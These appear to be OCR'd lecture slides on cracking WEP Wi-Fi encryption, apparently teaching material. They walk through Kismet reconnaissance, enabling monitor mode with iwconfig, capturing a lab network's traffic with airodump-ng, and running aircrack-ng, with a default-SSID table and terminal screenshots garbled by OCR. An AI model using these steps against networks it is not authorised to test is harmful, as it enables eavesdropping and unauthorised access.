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; Cracking WEP



Cracking Steps

=

1) Reconnaissance (Collect target info.)
Kkismet]

2) Run promiscuous mode [iwconfig, airmon]
3) Collect data [airodump]

4) Crack key [aircrack]




P Default SSIDs

Table 11-1 Default SSIDs

3Com 3Com

Apple Airport Network

Belkin (54G) Belkin54g

Cisco Tsunami

Compaq Compaq

D-Link WLAN, default

Dell Wireless

Intel Intel, 101, xlan, 195
Linksys linksys, Wireless, linksys-g
Microsoft MSNHOME

Netgear Wireless, NETGEAR

SMC WLAN, BRIDGE, SMC
Symantec 101

US Robotics WLAN, USR9106, USR808054




1) Reconnaissance

) (Collect target info.)



; Kismet (Reconnaissance)

.13 Applications Places System e| (7] =l 2. 5.@. 18, 11:58 PM E

File Edit Wiew Terminal Tabs Help
Network List— (Autofit)
Name
KUWIN
KUWIN
KUWIN
! KUWIN
! KUWIN
! KUWIN
! KUWIN
! KUWIN
! netdayO07-wep
! KUWIN
! KUWIN

Ch Packts Flags IP Range Ntwrks
011 2 0.0.0.0 11
001 3 T4 208.75.87.234 Pckets
011 3 .0.0. 281
001 12 .0.0. Cryptd
001 7 .0.0. 0
001 15 .0.0. Weak
011 92 5 0
006 29 5 .0. Noise
011 72 .0.0. 1
001 1 .0.0. Discrd
== 1 .0.0. 1

QP PPy YA
22K22222222=

Elapsd
00:00:11
Status
Found new probed network "KUWIN" bssid 00:13:CE:1F:26:6C
Associated probe network "00:13:CE:1F:26:6C" with "00:12:01:B5:4B:60" via
probe response.
Found new probed network "KUWIN" bssid 00:90:4B:E9:1C:70
Battery: AC 100%

|;| |lﬂ_ root@Penguin; ~




; Kismet (AP Info.)

°13 Applications Places System e["—"]a = il a. s.m 18, 11:59 PM E

File Edit Wiew JTerminal Tabs
Network List
Name

Network Details
Name netdayQ07-wep

Help

(BSSID)

T W Ch Packts Flags IP Range Ntwrks

SSID
Server
BSSID
Manuf
Max

First
Latest
Clients
Type
Info
Channel
Privacy
Encrypt

Decryptd:

Rate:
BSS Time:

netday07-wep

localhost:2501
00:18:39:83:1A:EE

Unknown

54.0

laa7a2191

Tue Dec 18 23:58:16 2007

Tue Dec 18 23:59:01 2007

P

Access Point (infrastructure)

11
Yes
WEP
No

54% (+) Down

Battery: AC 100%

|E| |li root@Penquin: ~




; Kismet (Client Info.)

'13 Applications Places System a = )l 2. 5. 18, 11:59 PM E

File Edit WView Terminal Tabs Help

Network List— (BSSID)
Name T W Ch Packts Flags IP Range
Client List— (Autofit)
T MAC Manuf Data Crypt Size IP Range
I 00:18:39:83:1A:EE Unknown 0 0 OB 0.0.0.0
F 00:18:39:83:1A:EC Unknown 0 0 OB 0.0.0.0
F 00:02:2D:B6:40:A3 Lucent 0 0 OB 0.0.0.0

Battery: AC 100%

|E| | B root@Penguin; ~



; 2) Run promiscuous mode
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P, Regular Behavior

Station 1 transmits to all (broadcast)
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Intention to Eavesdrop

Promiscuous
M e

Station 1 transmits to station 4
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Iwconfig

=

-‘3 Applications Places System e@o = il w. 5. 19, 12:00 AM E

File Edit Wiew Terminal Tabs Help

root@Penquin:~# iwconfig

[+]

lo no wireless extensions.
ethO no wireless extensions.
ethl unassociated ESSID:off/any

Mode:Managed Frequency=nan kHz Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:15 dBm

Retry limit:15 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality:0 Signal level:0 Noise level:0

Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

Tx excessive retries:0 Invalid misc:215369 Missed beacon:0

root@Penquin:~# I

oot@Penquin: ~ 'Z)‘
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-’3 Applications  Places System e@a

Promiscuous Mode Setup

& il w. 5.0 19, 12:01 AM [

poti@Pe om.._

ethl

File Edit Wiew Terminal Tabs Help
root@Penquin:~# iwconfig ethl]| mode monitor
root@Penquin:~# iwconfig ethl

unassociated ESSID:off/any

IMode:Monitor Frequency=nan kHz Access Point: Not-Associated
Bit Rate: s Tx-Power:15 dBm

Retry limit:15 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality:0 Signal level:0 Noise level:O0

Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

Tx excessive retries:0 Invalid misc:215442 Missed beacon:0

root@Penquin: ~# [

oot@Penquin: ~




) 3) Collect data
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alrodump

netday07-wep

From Kismet

netday07-wep

00:18:39:83:1A:EE

: Unknown
Max Rate: 54.0
BSS Time: laa7a2191
First : Tue Dec 18 23:58:16 2007
Latest : Tue Dec 18 23:59:01 2007
Clients : 2

: Access Point (infrastructure)

Privacy : Yes
Encrypt : WEP

[

File Edit View Terminal Tabs Help
root@Penquin:~# airodump-ng —-channel 11 --bssid 00:18:39:83:la:ee ethl —--write
netday1203.capl

[+]
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Alrodump problem

=

root@APMoose~/ toulouse# airodump-ng monO
loctl(SIOCSIFFLAGS) failed: Operation not possible due toRF-Kill

/dev/ rfkill i s ALI nux ©6s Subsystemtranemisster{ act ovatedf{ dehL

anan@APMoose-$ rfkill list
0: phyO: Wireless LAN
Soft blocked: no C software can reactivate
Hard blocked: no C software cannot reactivate
1: acer-wireless: Wireless LAN
Soft blocked: no
Hard blocked: no
2: acer-bluetooth: Bluetooth
Soft blocked: no
Hard blocked: no
4: hciO: Bluetooth
Soft blocked: no
Hard blocked: no

Solve by:
root@APMoose~/ toulousett rfkill unblock all

20



alrodump

File Edit WView Terminal Tabs Help

root@Penquin:~# airodump-ng —--channel 11 —-bssid 00:18:39:83:la:ee ethl —--write
netday1203.capl

rooti@PEnguin: =

File Edit View Terminal Tabs Help

CH 11 ][ Elapsed: 4 s ][ 2007-12-19 00:03 |
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ES
00:18:39:83:1A:EE -1 96 68 17 2 11 48 WEP WEP n
BSSID STATION PWR Lost Packets Probes
00:18:39:83:1A:EE 00:02:2D:B6:40:A3 -1 0 17

21



alrodump data files

=

File Edit Wiew Terminal Tabs Help
root@Penquin:~/netday-cracktest-allo# 1ls -la
total 302192

drwxr—-xr-x 2 anan anan 4096 2007-12-18
drwxr—-xr-x 29 anan anan 4096 2007-12-19
—rWX—————— 1l anan anan 157311872 2007-12-18
—IrWX—————— 1 anan anan 480 2007-12-18
—rWX—————— 1 anan anan 151795977 2007-12-18
—IrWX—————— 1 anan anan 480 2007-12-18

root@Penquin:~/netday-cracktest—-allO# I

22:
00:
: 21
: 21
22:
22:

22
22

56
03

37
37

22




; 4) Crack Key



alrcrack

=

File Edit View Terminal Tabs Help

root@Penquin:~/netday-cracktest-allO# aircrack-ng -a 1 -n 64 -i 1 *.capl ﬂ

rooti@PEnguin: =/netday-crackrest=allD




